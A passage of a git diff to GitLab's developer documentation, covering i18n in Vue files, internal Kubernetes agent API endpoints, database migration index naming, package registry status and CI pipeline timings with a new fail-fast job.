1374ca92256..b5c5a199b1e 100644 --- a/doc/development/i18n/externalization.md +++ b/doc/development/i18n/externalization.md @@ -7,6 +7,9 @@ For working with internationalization (i18n), used tool for this task and there are a lot of applications that will help us to work with it. +TIP: **Tip:** +All `rake` commands described on this page must be run on a GitLab instance, usually GDK. + ## Setting up GitLab Development Kit (GDK) In order to be able to work on the [GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss) @@ -138,7 +141,90 @@ const label = __('Subscribe'); ``` In order to test JavaScript translations you have to change the GitLab -localization to other language than English and you have to generate JSON files +localization to another language than English and you have to generate JSON files +using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`. + +### Vue files + +In Vue files we make both the `__()` (double underscore parenthesis) function and the `s__()` (namespaced double underscore parenthesis) function available that you can import from the `~/locale` file. For instance: + +```javascript +import { __, s__ } from '~/locale'; +const label = __('Subscribe'); +const nameSpacedlabel = __('Plan|Subscribe'); +``` + +For the static text strings we suggest two patterns for using these translations in Vue files: + +- External constants file: + + ```javascript + javascripts + │ + └───alert_settings + │ │ constants.js + │ └───components + │ │ alert_settings_form.vue + + + // constants.js + + import { s__ } from '~/locale'; + + /* Integration constants */ + + export const I18N_ALERT_SETTINGS_FORM = { + saveBtnLabel: __('Save changes'), + }; + + + // alert_settings_form.vue + + import { + I18N_ALERT_SETTINGS_FORM, + } from '../constants'; + + <script> + export default { + i18n: { + I18N_ALERT_SETTINGS_FORM, + } + } + </script> + + <template> + <gl-button + ref="submitBtn" + variant="success" + type="submit" + > + {{ $options.i18n.I18N_ALERT_SETTINGS_FORM }} + </gl-button> + </template> + ``` + + When possible, you should opt for this pattern, as this allows you to import these strings directly into your component specs for re-use during testing. + +- Internal component `$options` object `: + + ```javascript + <script> + export default { + i18n: { + buttonLabel: s__('Plan|Button Label') + } + }, + </script> + + <template> + <gl-button :aria-label="$options.i18n.buttonLabel"> + {{ $options.i18n.buttonLabel }} + </gl-button> + </template> + ``` + +In order to visually test the Vue translations you have to change the GitLab +localization to another language than English and you have to generate JSON files using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`. ### Dynamic translations @@ -346,9 +432,9 @@ To avoid this error, use the applicable HTML entity code (`<` or `>`) inst - In JavaScript: ```javascript - import sanitize from 'sanitize-html'; + import { sanitize } from 'dompurify'; - const i18n = { LESS_THAN_ONE_HOUR: sanitize(__('In < 1 hours'), { allowedTags: [] }) }; + const i18n = { LESS_THAN_ONE_HOUR: sanitize(__('In < 1 hour'), { ALLOWED_TAGS: [] }) }; // ... using the string element.innerHTML = i18n.LESS_THAN_ONE_HOUR; diff --git a/doc/development/i18n/proofreader.md b/doc/development/i18n/proofreader.md index 9d2997379c1..1916f96801d 100644 --- a/doc/development/i18n/proofreader.md +++ b/doc/development/i18n/proofreader.md @@ -77,7 +77,7 @@ are very appreciative of the work done by translators and proofreaders! - Mongolian - Proofreaders needed. - Norwegian Bokmal - - Proofreaders needed. + - Imre Kristoffer Eilertsen - [GitLab](https://gitlab.com/DandelionSprout), [CrowdIn](https://crowdin.com/profile/DandelionSprout) - Polish - Filip Mech - [GitLab](https://gitlab.com/mehenz), [CrowdIn](https://crowdin.com/profile/mehenz) - Maksymilian Roman - [GitLab](https://gitlab.com/villaincandle), [CrowdIn](https://crowdin.com/profile/villaincandle) diff --git a/doc/development/import_export.md b/doc/development/import_export.md index 556fa6c7db4..8d2be1baf24 100644 --- a/doc/development/import_export.md +++ b/doc/development/import_export.md @@ -244,7 +244,7 @@ project_tree: - :push_event_payload - issues: - events: - - ... + # ... ``` Only include the following attributes for the models specified: @@ -254,8 +254,7 @@ included_attributes: user: - :id - :email - ... - + # ... ``` Do not include the following attributes for the models specified: diff --git a/doc/development/import_project.md b/doc/development/import_project.md index 1fa6ea5d405..9e2f5af6738 100644 --- a/doc/development/import_project.md +++ b/doc/development/import_project.md @@ -96,6 +96,13 @@ If you want to import it to a new group or subgroup then create it first. The specified project export file in `archive_path` is missing. +##### `Exception: Permission denied @ rb_sysopen - (filename)` + +The specified project export file can not be accessed by the `git` user. + +Setting the file owner to `git:git`, changing the file permissions to `0400`, and moving it to a +public folder (for example `/tmp/`) fixes the issue. + ##### `Name can contain only letters, digits, emojis ...` ```plaintext diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md index 21076fa681f..dcfd0f40bf0 100644 --- a/doc/development/integrations/secure.md +++ b/doc/development/integrations/secure.md @@ -265,10 +265,16 @@ This documentation gives an overview of the report JSON format, as well as recommendations and examples to help integrators set its fields. The format is extensively described in the documentation of [SAST](../../user/application_security/sast/index.md#reports-json-format), +[DAST](../../user/application_security/dast/#reports), [Dependency Scanning](../../user/application_security/dependency_scanning/index.md#reports-json-format), and [Container Scanning](../../user/application_security/container_scanning/index.md#reports-json-format). -The DAST variant of the report JSON format is not documented at the moment. +You can find the schemas for these scanners here: + +- [SAST](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/sast-report-format.json) +- [DAST](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/dast-report-format.json) +- [Dependency Scanning](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/dependency-scanning-report-format.json) +- [Container Scanning](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/master/dist/container-scanning-report-format.json) ### Version diff --git a/doc/development/integrations/secure_partner_integration.md b/doc/development/integrations/secure_partner_integration.md index 19a497641f9..830cb84e257 100644 --- a/doc/development/integrations/secure_partner_integration.md +++ b/doc/development/integrations/secure_partner_integration.md @@ -37,14 +37,14 @@ best place to integrate your own product and its results into GitLab. implications for app security, corporate policy, or compliance. When complete, the job reports back on its status and creates a [job artifact](../../user/project/pipelines/job_artifacts.md) as a result. -- The [Merge Request Security Widget](../../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports-ultimate) +- The [Merge Request Security Widget](../../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports) displays the results of the pipeline's security checks and the developer can review them. The developer can review both a summary and a detailed version of the results. - If certain policies (such as [merge request approvals](../../user/project/merge_requests/merge_request_approvals.md)) are in place for a project, developers must resolve specific findings or get an approval from a specific list of people. -- The [security dashboard](../../user/application_security/security_dashboard/index.md#gitlab-security-dashboard-ultimate) +- The [security dashboard](../../user/application_security/security_dashboard/index.md#gitlab-security-dashboard) also shows results which can developers can use to quickly see all the vulnerabilities that need to be addressed in the code. - When the developer reads the details about a vulnerability, they are @@ -88,7 +88,7 @@ and complete an integration with the Secure stage. - If you need a new kind of scan or report, [create an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/new#) and add the label `devops::secure`. - Once the job is completed, the data can be seen: - - In the [Merge Request Security Report](../../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports-ultimate) ([MR Security Report data flow](https://gitlab.com/snippets/1910005#merge-request-view)). + - In the [Merge Request Security Report](../../user/project/merge_requests/testing_and_reports_in_merge_requests.md#security-reports) ([MR Security Report data flow](https://gitlab.com/snippets/1910005#merge-request-view)). - While [browsing a Job Artifact](../../user/project/pipelines/job_artifacts.md). - In the [Security Dashboard](../../user/application_security/security_dashboard/index.md) ([Dashboard data flow](https://gitlab.com/snippets/1910005#project-and-group-dashboards)). 1. Optional: Provide a way to interact with results as Vulnerabilities: diff --git a/doc/development/internal_api.md b/doc/development/internal_api.md index c51bf66be46..4b46787c2c3 100644 --- a/doc/development/internal_api.md +++ b/doc/development/internal_api.md @@ -26,8 +26,8 @@ file, and include the token Base64 encoded in a `secret_token` parameter or in the `Gitlab-Shared-Secret` header. NOTE: **Note:** -The internal API used by GitLab Pages uses a different kind of -authentication. +The internal API used by GitLab Pages, and GitLab Kubernetes Agent Server (kas) uses JSON Web Token (JWT) +authentication, which is different from GitLab Shell. ## Git Authentication @@ -370,3 +370,80 @@ Example response: "reference_counter_decreased": true } ``` + +## Kubernetes agent endpoints + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41045) in GitLab 13.4. +> - This feature is not deployed on GitLab.com +> - It's not recommended for production use. + +The following endpoints are used by the GitLab Kubernetes Agent Server (kas) +for various purposes. + +These endpoints are all authenticated using JWT. The JWT secret is stored in a file +specified in `config/gitlab.yml`. By default, the location is in the root of the +GitLab Rails app in a file called `.gitlab_kas_secret`. + +CAUTION: **Caution:** +The Kubernetes agent is under development and is not recommended for production use. + +### Kubernetes agent information + +Called from GitLab Kubernetes Agent Server (kas) to retrieve agent +information for the given agent token. This returns the Gitaly connection +information for the agent's project in order for kas to fetch and update +the agent's configuration. + +```plaintext +GET /internal/kubernetes/agent_info +``` + +Example Request: + +```shell +curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/agent_info" +``` + +### Kubernetes agent project information + +Called from GitLab Kubernetes Agent Server (kas) to retrieve project +information for the given agent token. This returns the Gitaly +connection for the requested project. GitLab kas uses this to configure +the agent to fetch Kubernetes resources from the project repository to +sync. + +Only public projects are currently supported. For private projects, the ability for the +agent to be authorized is [not yet implemented](https://gitlab.com/gitlab-org/gitlab/-/issues/220912). + +| Attribute | Type | Required | Description | +|:----------|:-------|:---------|:------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../api/README.md#namespaced-path-encoding) | + +```plaintext +GET /internal/kubernetes/project_info +``` + +Example Request: + +```shell +curl --request GET --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Authorization: Bearer <agent token>" "http://localhost:3000/api/v4/internal/kubernetes/project_info?id=7" +``` + +### Kubernetes agent usage metrics + +Called from GitLab Kubernetes Agent Server (kas) to increase the usage +metric counters. + +| Attribute | Type | Required | Description | +|:----------|:-------|:---------|:------------| +| `gitops_sync_count` | integer| yes | The number to increase the `gitops_sync_count` counter by | + +```plaintext +POST /internal/kubernetes/usage_metrics +``` + +Example Request: + +```shell +curl --request POST --header "Gitlab-Kas-Api-Request: <JWT token>" --header "Content-Type: application/json" --data '{"gitops_sync_count":1}' "http://localhost:3000/api/v4/internal/kubernetes/usage_metrics" +``` diff --git a/doc/development/licensed_feature_availability.md b/doc/development/licensed_feature_availability.md index cf479544eea..4350c7fb4d4 100644 --- a/doc/development/licensed_feature_availability.md +++ b/doc/development/licensed_feature_availability.md @@ -22,7 +22,7 @@ project.feature_available?(:feature_symbol) ## Restricting global features (instance) -However, for features such as [Geo](../administration/geo/replication/index.md) and +However, for features such as [Geo](../administration/geo/index.md) and [Load balancing](../administration/database_load_balancing.md), which cannot be restricted to only a subset of projects or namespaces, the check will be made directly in the instance license. @@ -35,7 +35,3 @@ the instance license. ```ruby License.feature_available?(:feature_symbol) ``` - -## Enabling promo features on GitLab.com - -A paid feature can be made available to everyone on GitLab.com by enabling the feature flag `"promo_#{feature}"`. diff --git a/doc/development/merge_request_performance_guidelines.md b/doc/development/merge_request_performance_guidelines.md index b3829a82d59..2f084937cc9 100644 --- a/doc/development/merge_request_performance_guidelines.md +++ b/doc/development/merge_request_performance_guidelines.md @@ -211,7 +211,7 @@ For keeping transaction as minimal as possible, please consider using `AfterComm module or `after_commit` AR hook. Here is [an example](https://gitlab.com/gitlab-org/gitlab/-/issues/36154#note_247228859) -that one request to Gitaly instance during transaction triggered a P::1 issue. +that one request to Gitaly instance during transaction triggered a ~"priority::1" issue. ## Eager Loading diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md index ebaceac6d17..207dd02d258 100644 --- a/doc/development/migration_style_guide.md +++ b/doc/development/migration_style_guide.md @@ -39,7 +39,7 @@ Changes to the schema should be committed to `db/structure.sql`. This file is automatically generated by Rails, so you normally should not edit this file by hand. If your migration is adding a column to a table, that column will be added at the bottom. Please do not reorder -columns manually for existing tables as this will cause confusing to +columns manually for existing tables as this will cause confusion to other people using `db/structure.sql` generated by Rails. When your local database in your GDK is diverging from the schema from @@ -260,7 +260,9 @@ def up end def down - drop_table :issues + with_lock_retries do + drop_table :issues + end end ``` @@ -298,7 +300,7 @@ include Gitlab::Database::MigrationHelpers def up with_lock_retries do - add_foreign_key :imports, :projects, column: :project_id, on_delete: :cascade + add_foreign_key :imports, :projects, column: :project_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey end end @@ -316,7 +318,7 @@ include Gitlab::Database::MigrationHelpers def up with_lock_retries do - add_foreign_key :imports, :users, column: :user_id, on_delete: :cascade + add_foreign_key :imports, :users, column: :user_id, on_delete: :cascade # rubocop:disable Migration/AddConcurrentForeignKey end end @@ -367,6 +369,7 @@ migration involves one of the high-traffic tables: - `users` - `projects` - `namespaces` +- `gitlab_subscriptions` - `issues` - `merge_requests` - `ci_pipelines` @@ -462,13 +465,17 @@ class MyMigration < ActiveRecord::Migration[6.0] disable_ddl_transaction! def up - remove_concurrent_index :table_name, :column_name + remove_concurrent_index :table_name, :column_name, name: :index_name end end ``` Note that it is not necessary to check if the index exists prior to -removing it. +removing it, however it is required to specify the name of the +index that is being removed. This can be done either by passing the name +as an option to the appropriate form of `remove_index` or `remove_concurrent_index`, +or more simply by using the `remove_concurrent_index_by_name` method. Explicitly +specifying the name is important to ensure the correct index is removed. For a small table (such as an empty one or one with less than `1,000` records), it is recommended to use `remove_index` in a single-transaction migration, @@ -509,11 +516,16 @@ class MyMigration < ActiveRecord::Migration[6.0] end def down - remove_concurrent_index :table, :column + remove_concurrent_index :table, :column, name: index_name end end ``` +You must explicitly name indexes that are created with more complex +definitions beyond table name, column name(s) and uniqueness constraint. +Consult the [Adding Database Indexes](adding_database_indexes.md#requirements-for-naming-indexes) +guide for more details. + If you need to add a unique index, please keep in mind there is the possibility of existing duplicates being present in the database. This means that should always _first_ add a migration that removes any duplicates, before adding the @@ -523,6 +535,42 @@ For a small table (such as an empty one or one with less than `1,000` records), it is recommended to use `add_index` in a single-transaction migration, combining it with other operations that don't require `disable_ddl_transaction!`. +## Testing for existence of indexes + +If a migration requires conditional logic based on the absence or +presence of an index, you must test for existence of that index using +its name. This helps avoids problems with how Rails compares index definitions, +which can lead to unexpected results. For more details, review the +[Adding Database Indexes](adding_database_indexes.md#why-explicit-names-are-required) +guide. + +The easiest way to test for existence of an index by name is to use the +`index_name_exists?` method, but the `index_exists?` method can also +be used with a name option. For example: + +```ruby +class MyMigration < ActiveRecord::Migration[6.0] + include Gitlab::Database::MigrationHelpers + + INDEX_NAME = 'index_name' + + def up + # an index must be conditionally created due to schema inconsistency + unless index_exists?(:table_name, :column_name, name: INDEX_NAME) + add_index :table_name, :column_name, name: INDEX_NAME + end + end + + def down + # no op + end +end +``` + +Keep in mind that concurrent index helpers like `add_concurrent_index`, +`remove_concurrent_index`, and `remove_concurrent_index_by_name` already +perform existence checks internally. + ## Adding foreign-key constraints When adding a foreign-key constraint to either an existing or a new column also diff --git a/doc/development/packages.md b/doc/development/packages.md index e21eff543b4..55e22d4bb5f 100644 --- a/doc/development/packages.md +++ b/doc/development/packages.md @@ -67,7 +67,7 @@ The current state of existing package registries availability is: | Repository Type | Project Level | Group Level | Instance Level | |-----------------|---------------|-------------|----------------| | Maven | Yes | Yes | Yes | -| Conan | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) | Yes | +| Conan | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/11679) | Yes | | NPM | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36853) | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36853) | | NuGet | Yes | No - [open issue](https://gitlab.com/gitlab-org/gitlab/-/issues/36423) | No | | PyPI | Yes | No | No | @@ -87,7 +87,7 @@ Composer package naming scope is Instance Level. To avoid name conflict for instance-level endpoints you will need to define a package naming convention that gives a way to identify the project that the package belongs to. This generally involves using the project ID or full project path in the package name. See -[Conan's naming convention](../user/packages/conan_repository/index.md#package-recipe-naming-convention) as an example. +[Conan's naming convention](../user/packages/conan_repository/index.md#package-recipe-naming-convention-for-instance-level-remote) as an example. For group and project-level endpoints, naming can be less constrained and it will be up to the group and project members to be certain that there is no conflict between two package names. However, the system should prevent diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md index aef14535a96..7756ef376fc 100644 --- a/doc/development/pipelines.md +++ b/doc/development/pipelines.md @@ -56,7 +56,7 @@ graph LR subgraph "No needed jobs"; 1-1["danger-review (3.5 minutes)"]; click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0" - 1-50["docs lint (6.75 minutes)"]; + 1-50["docs lint (9 minutes)"]; click 1-50 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356757&udv=0" end ``` @@ -72,21 +72,21 @@ graph RL; subgraph "No needed jobs"; 1-1["danger-review (3.5 minutes)"]; click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0" - 1-2["build-qa-image (3.4 minutes)"]; + 1-2["build-qa-image (2.4 minutes)"]; click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914325&udv=0" - 1-3["compile-test-assets (9.06 minutes)"]; + 1-3["compile-test-assets (8.5 minutes)"]; click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914317&udv=0" 1-4["compile-test-assets as-if-foss (8.35 minutes)"]; click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356616&udv=0" - 1-5["compile-production-assets (22 minutes)"]; + 1-5["compile-production-assets (19 minutes)"]; click 1-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914312&udv=0" - 1-6["setup-test-env (8.22 minutes)"]; + 1-6["setup-test-env (7.4 minutes)"]; click 1-6 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914315&udv=0" 1-7["review-stop-failed-deployment"]; 1-8["dependency_scanning"]; 1-9["qa:internal, qa:internal-as-if-foss"]; 1-11["qa:selectors, qa:selectors-as-if-foss"]; - 1-14["retrieve-tests-metadata (1.5 minutes)"]; + 1-14["retrieve-tests-metadata (1.9 minutes)"]; click 1-14 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356697&udv=0" 1-15["code_quality"]; 1-16["brakeman-sast"]; @@ -113,11 +113,9 @@ graph RL; 2_1-1 & 2_1-2 & 2_1-3 & 2_1-4 --> 1-6; end - 2_2-2["frontend-fixtures (17.2 minutes)"]; + 2_2-2["frontend-fixtures (16.5 minutes)"]; class 2_2-2 criticalPath; click 2_2-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910143&udv=0" - 2_2-3["frontend-fixtures-as-if-foss (8.75 minutes)"]; - click 2_2-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910154&udv=0" 2_2-4["memory-on-boot (7.19 minutes)"]; click 2_2-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356727&udv=0" 2_2-5["webpack-dev-server (6.1 minutes)"]; @@ -148,21 +146,15 @@ graph RL; 3_1-1["jest (15 minutes)"]; class 3_1-1 criticalPath; click 3_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914204&udv=0" - 3_1-2["karma (8 minutes)"]; + 3_1-2["karma (4 minutes)"]; click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914200&udv=0" - 3_1-3["jest-as-if-foss (19.7 minutes)"]; - click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914205&udv=0" - 3_1-4["karma-as-if-foss (7.5 minutes)"]; - click 3_1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914203&udv=0" subgraph "Needs `frontend-fixtures`"; 3_1-1 & 3_1-2 --> 2_2-2; - 3_1-3 & 3_1-4 --> 2_2-3; end - 3_2-1["rspec:coverage (6.5 minutes)"]; + 3_2-1["rspec:coverage (7.5 minutes)"]; subgraph "Depends on `rspec` jobs"; 3_2-1 -.->|"(don't use needs because of limitations)"| 2_5-1; - class 3_2-1 criticalPath; click 3_2-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7248745&udv=0" end @@ -185,21 +177,21 @@ graph RL; subgraph "No needed jobs"; 1-1["danger-review (3.5 minutes)"]; click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0" - 1-2["build-qa-image (3.4 minutes)"]; + 1-2["build-qa-image (2.4 minutes)"]; click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914325&udv=0" - 1-3["compile-test-assets (9.06 minutes)"]; + 1-3["compile-test-assets (8.5 minutes)"]; click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914317&udv=0" 1-4["compile-test-assets as-if-foss (8.35 minutes)"]; click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356616&udv=0" - 1-5["compile-production-assets (22 minutes)"]; + 1-5["compile-production-assets (19 minutes)"]; click 1-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914312&udv=0" - 1-6["setup-test-env (8.22 minutes)"]; + 1-6["setup-test-env (7.4 minutes)"]; click 1-6 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914315&udv=0" 1-7["review-stop-failed-deployment"]; 1-8["dependency_scanning"]; 1-9["qa:internal, qa:internal-as-if-foss"]; 1-11["qa:selectors, qa:selectors-as-if-foss"]; - 1-14["retrieve-tests-metadata (1.5 minutes)"]; + 1-14["retrieve-tests-metadata (1.9 minutes)"]; click 1-14 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356697&udv=0" 1-15["code_quality"]; 1-16["brakeman-sast"]; @@ -227,11 +219,9 @@ graph RL; 2_1-1 & 2_1-2 & 2_1-3 & 2_1-4 --> 1-6; end - 2_2-2["frontend-fixtures (17.2 minutes)"]; + 2_2-2["frontend-fixtures (16.5 minutes)"]; class 2_2-2 criticalPath; click 2_2-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910143&udv=0" - 2_2-3["frontend-fixtures-as-if-foss (8.75 minutes)"]; - click 2_2-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910154&udv=0" 2_2-4["memory-on-boot (7.19 minutes)"]; click 2_2-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356727&udv=0" 2_2-5["webpack-dev-server (6.1 minutes)"]; @@ -270,21 +260,15 @@ graph RL; 3_1-1["jest (15 minutes)"]; class 3_1-1 criticalPath; click 3_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914204&udv=0" - 3_1-2["karma (8 minutes)"]; + 3_1-2["karma (4 minutes)"]; click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914200&udv=0" - 3_1-3["jest-as-if-foss (19.7 minutes)"]; - click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914205&udv=0" - 3_1-4["karma-as-if-foss (7.5 minutes)"]; - click 3_1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914203&udv=0" subgraph "Needs `frontend-fixtures`"; - 3_1-1 & 3_1-3 --> 2_2-2; - 3_1-2 & 3_1-4 --> 2_2-3; + 3_1-1 & 3_1-2 --> 2_2-2; end - 3_2-1["rspec:coverage (6.5 minutes)"]; + 3_2-1["rspec:coverage (7.5 minutes)"]; subgraph "Depends on `rspec` jobs"; 3_2-1 -.->|"(don't use needs because of limitations)"| 2_5-1; - class 3_2-1 criticalPath; click 3_2-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7248745&udv=0" end @@ -325,21 +309,21 @@ graph RL; subgraph "No needed jobs"; 1-1["danger-review (3.5 minutes)"]; click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0" - 1-2["build-qa-image (3.4 minutes)"]; + 1-2["build-qa-image (2.4 minutes)"]; click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914325&udv=0" - 1-3["compile-test-assets (9.06 minutes)"]; + 1-3["compile-test-assets (8.5 minutes)"]; click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914317&udv=0" 1-4["compile-test-assets as-if-foss (8.35 minutes)"]; click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356616&udv=0" - 1-5["compile-production-assets (22 minutes)"]; + 1-5["compile-production-assets (19 minutes)"]; click 1-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914312&udv=0" - 1-6["setup-test-env (8.22 minutes)"]; + 1-6["setup-test-env (7.4 minutes)"]; click 1-6 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914315&udv=0" 1-7["review-stop-failed-deployment"]; 1-8["dependency_scanning"]; 1-9["qa:internal, qa:internal-as-if-foss"]; 1-11["qa:selectors, qa:selectors-as-if-foss"]; - 1-14["retrieve-tests-metadata (1.5 minutes)"]; + 1-14["retrieve-tests-metadata (1.9 minutes)"]; click 1-14 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356697&udv=0" 1-15["code_quality"]; 1-16["brakeman-sast"]; @@ -373,6 +357,65 @@ graph RL; end ``` +### Fail-fast pipeline in Merge Requests + +To provide faster feedback when a Merge Request breaks existing tests, we are experimenting with a +fail-fast mechanism. + +An `rspec fail-fast` job is added in parallel to all other `rspec` jobs in a Merge +Request pipeline. This job runs the tests that are directly related to the changes +in the Merge Request. + +If any of these tests fail, the `rspec fail-fast` job fails, triggering a +`fail-pipeline-early` job to run. The `fail-pipeline-early` job: + +- Cancels the currently running pipeline and all in-progress jobs. +- Sets pipeline to have status `failed`. + +For example: + +```mermaid +graph LR + subgraph "prepare stage"; + A["detect-tests"] + end + + subgraph "test stage"; + B["jest"]; + C["rspec migration"]; + D["rspec unit"]; + E["rspec integration"]; + F["rspec system"]; + G["rspec fail-fast"]; + end + + subgraph "post-test stage"; + Z["fail-pipeline-early"]; + end + + A --"artifact: list of test files"--> G + G --"on failure"--> Z +``` + +A Merge Request author may choose to opt-out of the fail fast mechanism by doing one of the following: + +- Including `[SKIP RSPEC FAIL-FAST]` in the Merge Request title. +- Starting the `dont-interrupt-me` job found in the `sync` stage of a Merge Request pipeline. + +The `rspec fail-fast` is a no-op if there are more than 10 test files related to the +Merge Request. This prevents `rspec fail-fast` duration from exceeding the average +`rspec` job duration and defeating its purpose. + +This number can be overridden by setting a CI variable named `RSPEC_FAIL_FAST_TEST_FILE_COUNT_THRESHOLD`. + +NOTE: **Note:** +This experiment is only enabled when the CI variable `RSPEC_FAIL_FAST_ENABLED=true` is set. + +#### Determining related test files in a Merge Request + +The test files related to the Merge Request are determined using the [`test_file_finder`](https://gitlab.com/gitlab-org/ci-cd/test_file_finder) gem. +We are using a custom mapping between source file to test files, maintained in the `tests.yml` file. + ### PostgreSQL versions testing #### Current versions testing @@ -417,8 +460,8 @@ of the `gitlab-org/gitlab-foss` project. These jobs are only created in the foll - Merge requests which include `RUN AS-IF-FOSS` in their title. - Merge requests that changes the CI configuration. -The `* as-if-foss` jobs have the `FOSS_ONLY='1'` variable set and gets their EE-specific -folders removed before the tests start running. +The `* as-if-foss` jobs are run in addition to the regular EE-context jobs. They have the `FOSS_ONLY='1'` variable +set and get their EE-specific folders removed before the tests start running. The intent is to ensure that a change won't introduce a failure once the `gitlab-org/gitlab` project will be synced to the `gitlab-org/gitlab-foss` project. @@ -514,8 +557,9 @@ overwrites the Git configuration with the appropriate settings to fetch from the GitLab repository. `CI_REPO_CACHE_CREDENTIALS` contains the Google Cloud service account -JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. These -credentials are stored in the 1Password GitLab.com Production vault. +JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. (If you’re a +GitLab Team Member, find credentials in the +[GitLab shared 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams). Note that this bucket should be located in the same continent as the runner, or [network egress charges will apply](https://cloud.google.com/storage/pricing). @@ -540,8 +584,10 @@ The current stages are: later used by the (Helm) Review App deployment (see [Review Apps](testing_guide/review_apps.md) for details). - `review`: This stage includes jobs that deploy the GitLab and Docs Review Apps. +- `dast`: This stage includes jobs that run a DAST full scan against the Review App +that is deployed in stage `review`. - `qa`: This stage includes jobs that perform QA tasks against the Review App - that is deployed in the previous stage. + that is deployed in stage `review`. - `post-qa`: This stage includes jobs that build reports or gather data from the `qa` stage's jobs (e.g. Review App performance 